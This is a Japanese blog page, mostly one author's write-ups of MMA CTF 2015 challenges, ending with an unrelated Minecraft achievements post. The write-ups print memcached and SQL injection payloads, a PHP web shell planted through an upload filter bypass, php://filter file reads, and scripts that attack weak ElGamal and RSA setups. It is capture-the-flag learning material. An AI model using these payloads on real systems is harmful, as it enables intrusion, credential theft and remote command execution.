import string import random from base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' enc_ciphers = ['rot13', 'b64e', 'caesar'] # dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64e(s): return b64encode(s) def caesar(plaintext, shift=3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp #if __name__ == '__main__': # print encode(FLAG, cnt=?) flag = "2Mk16Sk5iakYxVFZoS1RsWn(略)" while True: if flag[0]=="1": flag = flag[1:].decode("rot13") elif flag[0]=="2": flag = flag[1:].decode("base64") elif flag[0]=="3": flag = caesar(flag[1:], 23) else: break print flag
# flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}
イメージファイルが問題。flag{
で検索したら出てきた。
flag{b3l0w_th3_r4dar}
空港の航空写真4枚と、Steghideと書かれたJpegファイルが1枚。このソフトらしい。空港コードがパスワードだろうと思ったが、トロント・ピアソン国際空港だけは画像検索で引っ掛からなかったので、全探索した。
import os import sys A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" for a in A: for b in A: for c in A: sys.stdout.write(a+b+c) sys.stdout.flush() os.system("steghide\\steghide.exe extract -v -sf for_release\\steghide.jpg -xf hoge -p HAVHKGLAX"+a+b+c)
iH4t3A1rp0rt5
Twitterに書いてあった。
Enough cocks, cabs, hockey, laser beams, and dates. This year's recon challenge is going to be easy:
flag{f7da7636727524d8681ab0d2a072d663}
— Julian Cohen (@HockeyInJune) 2015, 9月 9
flag{f7da7636727524d8681ab0d2a072d663}
問題文でググったら答えを書いている人がいた。ひどい。
ありがたいことに、終了後も問題が生きているので、他の人の解答などを見ながら解いた。 ブログに書いておくと、他のコンテスト中に「kusano_k ○○」で出てきて便利。 他人の説明よりは、自分の説明のほうが自分には理解しやすい。
mage ctf writeup: MMA CTF 1st 2015
memcachedインジェクション。 分かってしまえばそんなに難しくないのに、SQLインジェクションよりはるかに正解者が少ない。 色々試すときには改行も試すようにしよう。
ログインして、Cookieのセッションに%0d%0aを入れるとエラー画面になる。memcachedだとあたりを付けたら、Cookieを%0d%0astats items
に書き換えると、保存されているアイテムの一覧が見られる。
STAT items:1:number 3 STAT items:1:age 101173 STAT items:1:evicted 0 STAT items:1:evicted_nonzero 0 STAT items:1:evicted_time 0 STAT items:1:outofmemory 0 STAT items:1:tailrepairs 0 STAT items:1:reclaimed 2 STAT items:1:expired_unfetched 1 STAT items:1:evicted_unfetched 0 STAT items:3:number 26485 STAT items:3:age 285562 STAT items:3:evicted 0 STAT items:3:evicted_nonzero 0 STAT items:3:evicted_time 0 STAT items:3:outofmemory 0 STAT items:3:tailrepairs 0 STAT items:3:reclaimed 516 STAT items:3:expired_unfetched 516 STAT items:3:evicted_unfetched 0
memcachedを良く知らないけど、保存されているキーはitemsに分類されて保存されるらしい。キーの一覧を見るコマンドは、stats dumpcache 【アイテムの番号】 【個数】
。%0d%0astats dumpcache 3 26485
とすると一覧が表示される。19 bは値のバイト数らしい。
: ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s] ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s] ITEM 152c55551e38f74aa13373ef52423e69637b93a56ee45e47bcd6232056e64162 [19 b; 1441722764 s] ITEM 054ff36eab83bad15aef0d606ecd88145353a62be3ac7bd6a5bcb874463bb559 [19 b; 1441643268 s] :
キーの中身を見るのは、gets 【キー名】
。%0d%0aget 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b
で、
VALUE 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 19 {"username":"test"}
adminで1文字増えるから、adminのキーは20バイトだろうと、20バイトのキーをCookieに設定してみたけど、なぜかダメだった。ならば自分のキーに値を書き込めば良い。%0d%0aset 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 0 20%0d%0a{"username":"admin"}
を実行すると、STORED
と表示され、そのCookieを05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d
に戻せば良い。3個の数字はそれぞれ、圧縮するか、有効期限、データサイズ。
MMA{61016d84e70e0b5ed5c03e4e398c3571}
AlicegameはElGamal暗号。ググりまくったらxが(1, p)から生成される時、p-1の最大素因数が小さければ離散対数問題が解けるんじゃね?みたいな謎思考が降ってきて、そういうpをひくまでひたすらパケット送り続けた。いいのが取れてPARI/GPに投げたらマジで解けた。
— きひろちゃん (@aki33524) 2015, 9月 7
aliceのwriteupこんな感じです https://t.co/Lws3AStEZH
— きひろちゃん (@aki33524) 2015, 9月 7
どうやたらこんな思考が降ってくるんだ……。
x
を秘密鍵として、h=g^x
を使って、(c1=g^r mod p, c2=m h^r mod p)
を返してくる暗号サーバー。最初の10回は、r
もm
も指定できる。最後にフラグが書かれたm
を乱数r
で暗号化して送ってくる。
r=1, m=1
とすると、c1
がg
となり、c2
がh
となる。p
は201ビットの素数なので、r=0, m=2^201
を投げると、c2=m mod p
なので、p=2^201-m
としてp
が分かる。p
以上のm
が通らない場合は、r=1, 2, 3
を投げて、p=gcd(g^2 - (g^2 mod p), g^3 - (g^3 mod p))
と求めれば良いらしい。
離散対数問題なんて無理だと思っていたけど、場合によっては解けるらしい。Pohlig–Hellman algorithm。このスライドが分かりやすい。
g^x
はx
に対して周期的になる。周期はp-1
。p-1
が素因数q1
, q2
, q3
, …を持っているとすると、a
を整数、x1
をq1
未満の整数として、y=g^(a q1+x1)
と書ける。両辺を(p-1)/q1
乗すると、y^(p-1)/q1=g^(a (p-1)+x1(p-1)/q1)=g^(x1(p-1)/q1)
。y1=y^(p-1)/q1
, g1=g^(p-1)/q1
とすれば、y1=g1^x1
。離散対数の問題のままだが、x1
がq1
未満の整数なので、q1
が1014程度なら、Baby-step giant-stepアルゴリズムで解ける。このアルゴリズムは半分全列挙のようなもの。O(2^(n/2))
。
x=x1 mod q1
, x=x2 mod q2
, …を満たす、x1
, x2
, …が手に入ったので、あとは中国の剰余定理でx
が求められる。
ElGamal暗号を使うときは、主催者のMMAのブログにあるように、q
を素数として2q+1
と表せる素数(安全素数)を使うべきらしい。
# coding: utf-8 from socket import * import time import os from Crypto.Util.number import * def get_param(): s = socket(AF_INET, SOCK_STREAM) s.connect(("cry1.chal.mmactf.link", 39985)) s.send( "1\n"+ "1\n"+ str(2**201)+"\n"+ "0\n"+ "q\n") time.sleep(1) r = [eval(l[l.index("(")-1:]) for l in s.recv(1000).split("\n")[1:-1]] g = r[0][0] h = r[0][1] p = 2**201 - r[1][1] gr = r[2][0] mhr = r[2][1] print "g =", g print "h =", h print "p =", p print "gr =", gr print "mhr =", mhr os.system("msieve152.exe -q %s"%(p-1)) # get_param() """ p1: 2 p1: 3 p1: 7 p3: 281 p6: 585131 p7: 2283091 p8: 66558319 prp11: 38812459031 prp13: 8407411055293 prp13: 8899182573469 g = 1828219035112142373387222893932751631772945852477987101590090 h = 1012750243445446249248731524345776923711031192963358920130436 p = 3047318456124223787871095946374791137939076290647203431778747 gr = 1851635883910479967256646617880733235123029676545812189105888 mhr = 2279140729739532482438192630521498934347693926502811537441460 """ g = 1828219035112142373387222893932751631772945852477987101590090 h = 1012750243445446249248731524345776923711031192963358920130436 p = 3047318456124223787871095946374791137939076290647203431778747 gr = 1851635883910479967256646617880733235123029676545812189105888 mhr = 2279140729739532482438192630521498934347693926502811537441460 Q = [2, 3, 7, 281, 585131, 2283091, 66558319, 38812459031, 8407411055293, 8899182573469] # 離散対数(Baby-step giant-step) # y = g^x mod p # qはgの位数 def log(g, y, p, q): m = int(q**0.5+1) T = {} t = 1 for j in range(m): T[t] = j t = t*g%p gm = pow(pow(g, p-2, p), m, p) t = y for i in range(m): if t in T: return i*m+T[t] t = t*gm%p return -1 X = [] for q in Q: x = log(pow(g,(p-1)/q,p), pow(h,(p-1)/q,p), p, q) print q, x X += [x] print "X =", X # 拡張ユークリッドの互除法 # mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す def exgcd(m, n): if n>0: y,x,d = exgcd(n, m%n) return x, y-m/n*x, d else: return 1, 0, m # 中国の剰余定理 def chinese(A, M): n = len(A) r = 0 P = reduce(lambda x,y: x*y, M, 1) for i in range(n): x,y,d = exgcd(M[i], P/M[i]) r += y*(P/M[i])*A[i] return r%P x = chinese(X, Q) print "x =", x print pow(g, x, p) print h m = mhr * pow(pow(gr, x, p), p-2, p)%p print "m = %x"%m print long_to_bytes(m)
MMA{wrOng_wr0ng_ElGamal}
MMA CTF 1st 2015に参加した。開催日に知って、ちょっと簡単な問題だけ解くつもりだったけど、どの問題も面白くてがっつり参加してしまった。難易度も幅広くて取っつきやすい。
結果は1150点、38位。100チーム以上が解いている解くべき問題は解けるが、それ以上はいまいちといういつもの感じ。ランキング。
MMA{Welcome_To_MMACTF!!}
3x3のパターンロックの総数と、4x4のパターンロックの最長距離を求めよという問題。
3x3はプログラムを書いたらバグって不正解だったけど、ググったら出てきた。
389112
4x4は動的計画法。普通に探索するとO(16!)
(プロコンオーダー記法)だが、残っている点とその点のうちどこから書き始めるかを覚えておけば、O(2^16×16)
で解ける。ちなみに最長のルートは、 5 11 4 10 0 15 1 14 6 8 7 12 2 13 3 9
。
""" 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 """ import math def check(f, t, u): if u>>t&1: return False fx = f%4 fy = f/4 tx = t%4 ty = t/4 for i in range(2,4): if (tx-fx)%i==0 and (ty-fy)%i==0: for j in range(1,i): px = fx + (tx-fx)/i*j py = fy + (ty-fy)/i*j if not u>>(py*4+px)&1: return False return True memo = [[-1]*65536 for _ in range(16)] next = [[-1]*65536 for _ in range(16)] def BT(p,u): global memo global next if memo[p][u]>=0: return memo[p][u] ans = 0 n = 0 for i in range(16): if check(p,i,u): l = BT(i, u|1<<i)+math.hypot(p%4-i%4,p/4-i/4) if l>ans: ans = l n = i memo[p][u] = ans next[p][u] = n return ans ans = 0 n = 0 for i in range(16): l = BT(i, 1<<i) if l>ans: ans = l n = i print ans u = 1<<n p = n print p, for i in range(15): print next[p][u], p,u = next[p][u],u|1<<next[p][u] print
45.6790
暗号化CGIと、暗号文が渡されて、復号しろという問題。全4問。
シーザー暗号。+23すれば良い。
MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}
平文と暗号文の文字が一対一で対応している。簡単。出現する文字をあらかじめ変換して持っておけば良い。
MMA{bba85b6768db240f8c4ae3c29f9928c74f6ca091}
直前の文字とのxor。最初の文字は文字数とxor。
T = [int(x,16) for x in "60 00 0c 3a 1e 52 02 53 02 51 0c 5d 56 51 5a 5f 5f 5a 51 00 05 53 56 0a 5e 00 52 05 03 51 50 55 03 04 52 04 0f 0f 54 52 57 03 52 04 4e".split()] c = len(T) ans = "" for t in T: c ^= t ans += chr(c) print ans
MMA{e75fd59d2c9f9c227d28ff412c3fea3787c1fe73}
色々試すと、文字を並び替える、文字をビットローテートする、の2段階で暗号化されていることが分かる。またビットローテートの量は対応する位置にある文字の下3ビット。並び替えとビットローテートで対応する文字の位置は文字数ごとに固定。ビットローテートでは立っているビットの個数は変わらないので、ACGO_@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
とかを送信して並び替え方を調べる。2文字目はビットローテートは5bitで固定。ここから順番に復号していく。
T1 = [1, 23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44] T2 = [23, 3, 39, 5, 25, 7, 35, 9, 27, 11, 43, 13, 29, 15, 37, 17, 31, 19, 41, 21, 33, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, -1] C = [int(x, 16) for x in "62 a9 6c 28 0e 33 31 c6 68 cd 66 66 59 46 cc 53 0c 98 31 65 c6 35 c9 a9 60 4e 37 b0 33 46 0d 60 46 26 66 33 cc e6 a9 f6 6c 07 2b 23 af".split()] P = [""]*45 def shift(n,s): return n>>s|n<<(8-s)&0xff p = 1 P[T1.index(p)] = chr(shift(C[p], 5)) p = T1.index(p) while T2[p]!=-1: t = T2[p] P[T1.index(t)] = chr(shift(C[t], ord(P[p])&0x7)) p = T1.index(t) print "".join(P)
MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}
ログインフォームの脆弱性をついて、adminのパスワードを調べろという問題。典型的なSQL Injection。userの名前がDBから取得した名前になるので、ブラインドSQLなどを使う必要も無い。下の文字列をusernameに入れていけば良い。
' UNION SELECT sqlite_version(), 0-- → You are 3.8.2 user. ' UNION SELECT sql, 0 FROM sqlite_master-- → You are CREATE TABLE user ( user text, password text ) user. ' UNION SELECT password, 0 FROM user WHERE user='admin'-- → You are MMA{cats_alice_band} user.
MMA{cats_alice_band}
pcapファイルが問題で、zipファイルをRangeリクエストでダウンロードしていた。分割の個数も多くないので、手作業で貼り合わせ。開いたらPhotoshopのファイルが出てきて、白紙だったけど、レイヤーが重なっているだけ。
MMA{sneak_spy_sisters}
WindowsのDLLファイル。?fnhowtouse@@YAHH@Z
というシンボル名は、UnDecorateSymbolNameというAPIで元に戻せる。int __cdecl fnhowtouse(int)
。Pythonのctypesは簡単にDLLの関数が呼び出せて便利。ちなみに、OllyDbgとかImmunityDebuggerなら、DLLファイルを開くと自動でロードしてくれる。これでデバッグしても良さそう。
from ctypes import * f = getattr(cdll.howtouse, "?fnhowtouse@@YAHH@Z") print "".join(chr(f(i)) for i in range(45))
MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}
Rock Paper Scissors。じゃんけん。ジャンケンで50連勝しろという問題。ジャンルはPwn。長いプレイヤー名を入力すると、乱数のシード値を上書きして、固定できる。例えば、aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
にすると、SRPRRSRRSSRPRSSSSRRSRPSRPSSSPRRSPPRRSRRPSRPPPRPPSP
で勝てる。
MMA{treed_three_girls}
DOSモードでは実行できないけど、Windowsでも実行できない。良く見たら、MZヘッダ中のPEヘッダのオフセットが0で潰されていた。0x3cバイト目を0xe8にすれば良い。
MMA{7a35hxb9q81fsg6}
SignerとVerifierというサーバーが提示された。最初は何のことか分からなかったが、Signerに数字を入力すると数字が返ってくる。Verifierでは固定のnとeが表示され、それとは別に数字が表示されて「Sign it!」と言われる。これはRSA暗号で、Signerはx^d
を計算し、Verifierにx^d
を返してやると、正解らしい。それではと、SignerにVerifierが提示した数字を入力すると、By the way, I'm looking forward to the PIDs subsystem of cgroups.
という謎のエラーで怒られる。
Verifierが表示した数字をx
として、Signerには(2x)^d=2^d x^d
を計算してもらう。Signerに2
を入力すると、2^d
が返ってくるので、あとはこれで(2x)^d
を割れば良い。
# coding: utf-8 n = 167891001700388890587843249700549749388526432049480469518286617353920544258774519927209158925778143308323065254691520342763823691453238628056767074647261280532853686188135635704146982794597383205258532849509382400026732518927013916395873932058316105952437693180982367272310066869071042063581536335953290566509 e = 65537 # 2^d x = 45079099838985725562852606238717200427051379007624461327902168505601211187218876469734461321234449872036659707405487725511293056518165755448751892780025070359086690571912728851484390191469176434804920520148004120893601096389983117747368657326741086665038698187413495968534490174851162613343138684260784792820 # 拡張ユークリッドの互除法 # mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す def exgcd(m, n): if n>0: y,x,d = exgcd(n, m%n) return x, y-m/n*x, d else: return 1, 0, m y = exgcd(x, n)[0] from socket import * import time ss = socket(AF_INET, SOCK_STREAM) ss.connect(("cry1.chal.mmactf.link", 44815)) sv = socket(AF_INET, SOCK_STREAM) sv.connect(("cry1.chal.mmactf.link", 44816)) time.sleep(1) a = int(sv.recv(1000).split()[-1]) print "a",a ss.sendall(str(2*a%n)+"\n") time.sleep(1) b = int(ss.recv(1000)) # (2a)^d print "b",b ans = b*y%n # a^d print "ans",ans sv.sendall(str(ans)+"\n") time.sleep(1) print sv.recv(1000)
MMA{homomorphic_challengers}
64bitの計算を32bitのプログラムがやっていてとても読みづらい……。が、aを入力として単に
(((0*577+a_0)*577+a_1)*577+a_2)… mod 1000000000000037
を計算しているだけだった。これが、0x1e1eab437eeb0となる値をサーバーに送れば良いらしい。 どうやって逆算するのか悩んだが、modを取っている値が32bitでも64bitでもなく中途半端なことに気が付いた。誕生日攻撃。このハッシュ値を逆算して、最終的に0x1e1eab437eeb0となるような途中のハッシュ値を10000000個くらい求める。あとは順方向からハッシュ値を計算して、大量のハッシュ値の中に同じハッシュ値があればOK。
# coding: utf-8 n = 1000000000000037 def calc_hash(key): a = 0 for k in key: a = a*577+ord(k) a %= n return a hash = 0x1e1eab437eeb0 inv = pow(577,n-2,n) print inv print 577*inv%n H = {} for i in range(10000000): if (i%100000==0): print i h = hash key = str(i) for k in key[::-1]: h = (h - ord(k))%n*inv%n H[h] = i i = 0 while True: if (i%100000==0): print i h = calc_hash(str(i)+"a") if h in H: print "%sa%s"%(i, H[h]) break i += 1
17267385a2163295
。もちろん他にも同じハッシュ値になる文字列はある。
MMA{mocho is cute}
何でもアップロードできるアップローダーに、.phpのファイルを置かれると危険。ただし、
らしい。<?php
以外に何かないのかと、HTML からの脱出を見たら、<script language="php">
があった。でも、php
が含まれているのでは……。→<script language="PHP">
。
<script language="PHP"> passthru($_GET["cmd"]); </script>
を置いて、フラグを探したら、ルートディレクトリにあった。
MMA{you can run php from script tag}
この問題が、解けない → ひらめいた → やっぱり解けない → ひらめいた → の繰り返しで、月曜の朝まで夜更かしするハメになった。結局解けなくて、とても悔しい。
何か色々と穴のあるウェブサービス。SQL Injectionとか、ディレクトリトラバーサルとか、すでに存在するユーザーでもサインアップできるとか。
URLの?page=news
の部分には任意のファイルを指定できる。ただし末尾にPHPが付加されるし、PHPはそのまま実行されるので、?page=index
としてもページが入れ子になるだけ。PHPのフィルタを使い、?page=php://filter/convert.base64-encode/resource=index
としてBase64に変換すると.phpのファイルの読める。adminsテーブルに名前があるユーザーとしてログインすると、../flag
が表示されるらしい。
昔のPHPなら、?page=../flag%00
で終了だったけど、最近は対策されているらしい。残念。
db.phpにDBのパスワードが書かれているが、外部からは接続不可。残念。
DBアクセス全てインジェクション可能。ただし、サインアップ時は、ユーザー名に制限がありパスワードもハッシュ化されるので無理。最初はsqlmapを使ってブラインドSQLインジェクションをして負荷を掛けていたが、ログイン時にavatorとして取り出せば良いことに途中で気が付いた。例えば、ユーザー名をasdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',(SELECT group_concat(name) from admins),0#
、パスワードをa
とすると、avatorの部分にadminsテーブルの中身が出力される。データベースから取り出す時点ではなく、取り出した後でパスワードをチェックしているで辻褄を合わせる必要がある。adminsテーブルの中身は、adminとasdf。adminのパスワードハッシュはffffffffffffffffffffffffffffffffffffffff
でasdfは5feba136aea0208ee7f522eb2de1b315eb828512
。クラックしようとしたけど無理だった。
SQLインジェクションでフラグを読めば良いのではと、asdfasdf')union select 0,'86f7e437faa5a7fce15d1ddcb9eaeaea377667b8',load_file('/var/www/flag'),0#
でログインしたけど、DBユーザーは読み取り権限が無いようだった。残念。
ユーザー名adminにしてサインアップするとadminになれるが、何でフラグが表示されないんだ……としばらく悩んだ。フラグを表示するかどうかのセッション変数が設定されるのはログイン時だった。DBには一意性制約があるらしく。サインアップしたように見えて、一度ログアウトするとログインできない。残念。
アップロードする画像のパスにはユーザー名が使われる。普通は英数字に制限されているけど、SQLインジェクションで.php.が入った名前でログインすることができる。phpは末尾ではなく途中にあっても実行されるはず……と思ったが、PHPの実行は無効化されていた。avatorsディレクトリ以外には書き込み不可。残念。
あとはavator画像時のUPDATE文を利用して、adminかasdfのログインパスワードを書き換えるしかない。該当するコードは、
$filename = "avators/" . $_SESSION["user"] . sha1_file($_FILES['file']['tmp_name']) . $ext;
$db->query("UPDATE users SET avator = '$filename' WHERE name = '".$_SESSION['user']."'");
$_SESSION['user']
が2箇所に表れるけど、最初でコメントアウトすれば良さそう。問題は、$_SESSION['user']
に文字列を書き込むにはこの文字列でログインする必要があること。ログインのコードは、
$results = $db->query("SELECT * FROM users WHERE (name = '$user' AND not banned)");
コメントアウトすると括弧の整合性がとれなくなる。
最後に思いついたのが、ユーザー名ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0
。これによって、それぞれのSQL文は、
SELECT * FROM users WHERE (name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0' AND not banned) UPDATE users SET avator = 'avators/ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='09089.png' WHERE name = 'ed4126e1' AND hashed_password='5e4d8f8ba96ff555b3029839cd8a56bd9272ad89' AND banned='0'
となる。でも、UPDATEのところで失敗。bannedに文字列を設定しているからだろうか……(書いている途中に気が付いた。UPDATEの列の区切りはAND
じゃなくて,
だ)。
終了。
想定解放。
Mortal Magi Agentsの想定解法: https://t.co/p9BshyY4MQ
— ytoku (@__ytoku) 2015, 9月 7
すごい……。
楕円曲線公開鍵暗号の復号。G
は楕円曲線上点、e=65537
。秘密鍵は整数k
。暗号化は乱数r
を生成して、M=rG
, S=eM
, H=kG
, T=erH-M
。M
を平文の暗号化に使う。公開鍵は、S
とT
。復号時は、M=kS-T
とする。たしかに、kS-T=kerG-(erkG-M)=M
。何かそれっぽい。使っている楕円曲線もNIST推奨のもの。
楕円曲線は除算ができないので、S
からM
を求めることはできない。こんなん無理では……と思ったけど、よくよく考えてみると、eM
からe
を求めることはできなくても、M
を求めることはできる。環なので、e
の逆数を掛ければ良い。楕円曲線の位数は自明ではないが、良く使われる曲線なので、ググったら出てきた。n=115792089210356248762697446949407573529996955224135760342422259061068512044369
らしい。1/e=pow(e, n-2, n)
。
【問題のclass ECP】をコピペ p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 A = -3 B = 41058363725152142129326129780047268409114441015993725554835256314039467401291 G = ECP(48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109) e = 65537 DEM_IV = "\xAA"*16 # https://perso.univ-rennes1.fr/sylvain.duquesne/master/standards/standards_NIST_Certicom.txt n = 115792089210356248762697446949407573529996955224135760342422259061068512044369 inv = pow(e, n-2, n) S = ECP(114415776318896227909080061791436136534751468438742349442109460521381468180987, 113006367255062683561771671227582279732943810213810498306378475155500374652448) T = ECP(71511408166265472816974171596094618880923968931727783411416162091208530633368, 21293382321037703297575365042014944295932942747556648773039800366087504602357) dem_c = 3513567433984887885115224229823172531083230224356638967377256761767267040054250835842705493954920117835275646236313L M = inv*S def unpad(m): return m[:-ord(m[-1])] cipher = AES.new(long_to_bytes(M.x, 32), mode = AES.MODE_CBC, IV = DEM_IV) print unpad(cipher.decrypt(long_to_bytes(dem_c, AES.block_size)))
という解法プログラムを書いたらエラー。なぜか問題のECPの加算がx
が等しい場合にNone
を返していたので、ECP(None, None)
を返すように修正した。
MMA{4a2f832ab7fae69820a697156e0d3dd7423f81ed}
解けなかった。他の人の答え。ヘッダを見たらクライアントは古いWindows Media PlayerらしいからXPを引っ張り出して、問題のファイルを送信するサーバーを書いたけどダメだった。解像度は取得できているっぽいのに、何故か再生してくれなかった。ぐぬぬ。
ステガノグラフィー。Stegsolveで開いて、ボタンを押したら答えが出てきた。
MMA{raw_cr3am_pasta!}
すごく単純な問題なのに解けなかった。悔しいけど、すごい。
問題文のBase64を復号すると、
#@~^MQAAAA== Um.bwDR+1tKcJtH) Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@
何か見覚えがあるんだが、何だったかな……と思ったら、WSHの暗号化だった。拡張子を.jseに変えれば良い。
MMA{the_flag_word_is_obfuscation}
完全マッチングを求める問題。最大フローに帰着して……というのは二部グラフの場合。一般グラフの場合は面倒だと蟻本に書いてあった。Boostに実装がある。呼び出し方はこんな感じ。
#include <iostream> #include <vector> #include <boost/graph/adjacency_list.hpp> #include <boost/graph/max_cardinality_matching.hpp> using namespace std; using namespace boost; int main() { int n; cin>>n; adjacency_list<> g(n); for (int i=0; i<n; i++) { int c; cin>>c; for (int j=0; j<c; j++) { int t; cin>>t; add_edge(i, t, g); } } vector<adjacency_list<>::vertex_descriptor> mate(n); if (checked_edmonds_maximum_cardinality_matching(g, &mate[0])) { for (int i=0; i<n; i++) cout<<mate[i]<<endl; } else cout<<"failed"<<endl; return 0; }
10000点くらいなら一瞬で解いてくれる。すごい。あとはこれをPythonから呼び出す。で、試してみたら後半は完全マッチングが見つからない。問題ジャンルにPwnが追加された意味を考えましょう。他の人の解答。普段Pythonを使っているのにこれに気が付かなかったのは悔しい。
ゴールデンウィークに何か目標を持って遊ぼうということで、マインクラフトの実績コンプリートを目指すことにした。 結局、終わったのは5月末になってしまったけど、プレイ時間は78時間だったから、ちょうど良い難易度だったのでは。
公式サイト。 いわゆる箱庭ゲーム。 箱庭ゲームだから好きなように遊べば良いけど、一応ボスを倒すとエンディングが見られる。 Windows版は3000円くらい。 値段分の価値は充分にあるので、とりあえず買って遊ぶべき。
PC単体でも遊べるけど、サーバーを立てれば複数人でも遊べる。 公式サイトの説明ではメモリ1GBを確保しろと書いてある。 さくらのVPS 2Gに置いたら処理落ちしたけど、これは同じサーバーの上で仮想マシンを動かしているからで、他に重いものが無ければこれで充分だという印象。 結局、古いPCをサーバーにした。CPUはCore i7 2.8GHz、メモリ12GB。特に問題無く動いた。
会社の人を誘ったがあまり釣れず、ほとんど一人で遊んでいたので、シングルプレイで良かったかもしれない。
Wikiに一覧がある。
最初の実績。Eを押すだけ。
木を殴るだけ。
作業台を作るだけ。
クワを作るだけ。
剣を作るだけ。
ツルハシを作るだけ。
石のツルハシを作るだけ。
カマドを作るだけ。
牛を殺して、皮を手に入れるだけ。
モンスターを殺すだけ。
小麦を栽培して、小麦からパンを作る。
鉄鉱石を採掘して、精錬して鉄を手に入れる。 鉄鉱石は海面より深いところにある。
牛に小麦を与えて増やす。
クモを倒して糸を手に入れて、釣り竿を作り、魚を釣って、カマドで焼く。
ダイヤモンドを採掘する。鉄のツルハシを使わないと、採掘できない。
ダイヤモンドのツルハシを使って黒曜石を採掘し、ネザーゲートを作って、ネザーに行く。
ケーキを作る。材料は小麦、砂糖、牛乳、卵。
エンチャントテーブルを作る。
ブレイズを倒してブレイズロッドを手に入れる。 ブレイズはネザー要塞にしかいないので、ネザー要塞を見つける必要がある。 z軸に沿って生成されるから、z軸方向に進むだけだと運が悪いと見つからない。 ひたすらx軸方向に歩いて、黒いブロックを探す。 溶岩のすぐ上くらいの高さのほうが歩くのが楽だった。 ネザー要塞は危険なので、近くにネザーゲートを作って、通常世界にベッドを置いておくと良い。
どこかのチェストの中からサドルを手に入れ、村からニンジンをパクってニンジンをぶら下げた釣り竿を作って、豚を操って高い所から落とす。
ポーションを醸造する。 醸造台を作るためにブレイズロッドが必要。
誰かにダイヤモンドをあげる。 たまたまログインしていた某氏にあげた。 相手がいなければゾンビにあげても良いらしい。
本棚を作る。 作った本棚はエンチャントテーブルの近くに置くと、エンチャントテーブルが強化される。
金のリンゴ(金インゴットではなく金ブロックのほう)を作る。 金インゴットが72個必要。 金は使い道が無いので、そのうち溜まる。
一撃でハート9個分のダメージを与える。 ダイヤの剣+力のポーションⅡ+クリティカル(落下中攻撃)でいける。 力のポーションⅡを作るには、ネザーウォート、ブレイズロッド、グロウストーンダストが必要。
50m以上離れた場所から弓矢でスケルトンを倒す。 こんな感じで目印となる線を引いて、ここより遠くにいるスケルトンを狙った。
エンドに行く。 まずはエンダーマンを倒してエンダーパールを集める。 エンダーマンの出現率が低くてつらい。
エンダーアイで要塞を探す。 正面に投げると後ろに飛んでいったときに見失うので、真下に投げると良い。 以前に作ったツールで要塞の場所を計算できる。100mくらい離れて2個のエンダーアイを投げて、算出された地点に行って同じように2個投げればだいたい見つかる。
エンドポータルにエンダーアイをセットするとき、横着して遠くからセットしようとしたら、エンダーアイを投げた扱いになってしまい泣いた。
エンダードラゴンを倒す。鉄装備+矢100本くらい+ダイヤの剣+ツルハシ+スコップ+土(島から離れた場所にポータルができたときと、高い所にあるエンダークリスタルを狙う用)で行けた。エンダーマンは水で沈静化するより、倒してしまったほうが早いと思う。
ガストをガストの炎で倒す。 タイミングが難しいけど、1回当てれば倒せるので何とかなる。
ウィザーを出現させる。 ウィザーの出現に必要なウィザースケルトンの頭を3個集めるのがつらかった。 そもそも出現率が低い上に、レアドロップ……。 ネザー要塞を暗くしてウロウロした。 回廊の上にも湧く。
ウィザーを倒す。 ブランチマイニングした穴の奥で出現させると簡単らしい。 が、地下峡谷の近くで出現させたら明後日の方向に行ってしまった。 どうしようもないので、ズルだが、セーブデータをバックアップから戻した。 ウィザーが逃げた場合にズルしないで対処するにはどうしたら良いのだろう……。
トロッコで1km移動する。 レールを1000本作るためには鉄インゴットが375個必要。 バイオーム探しのついでに廃坑が見つかると、だいぶ線路が稼げる。
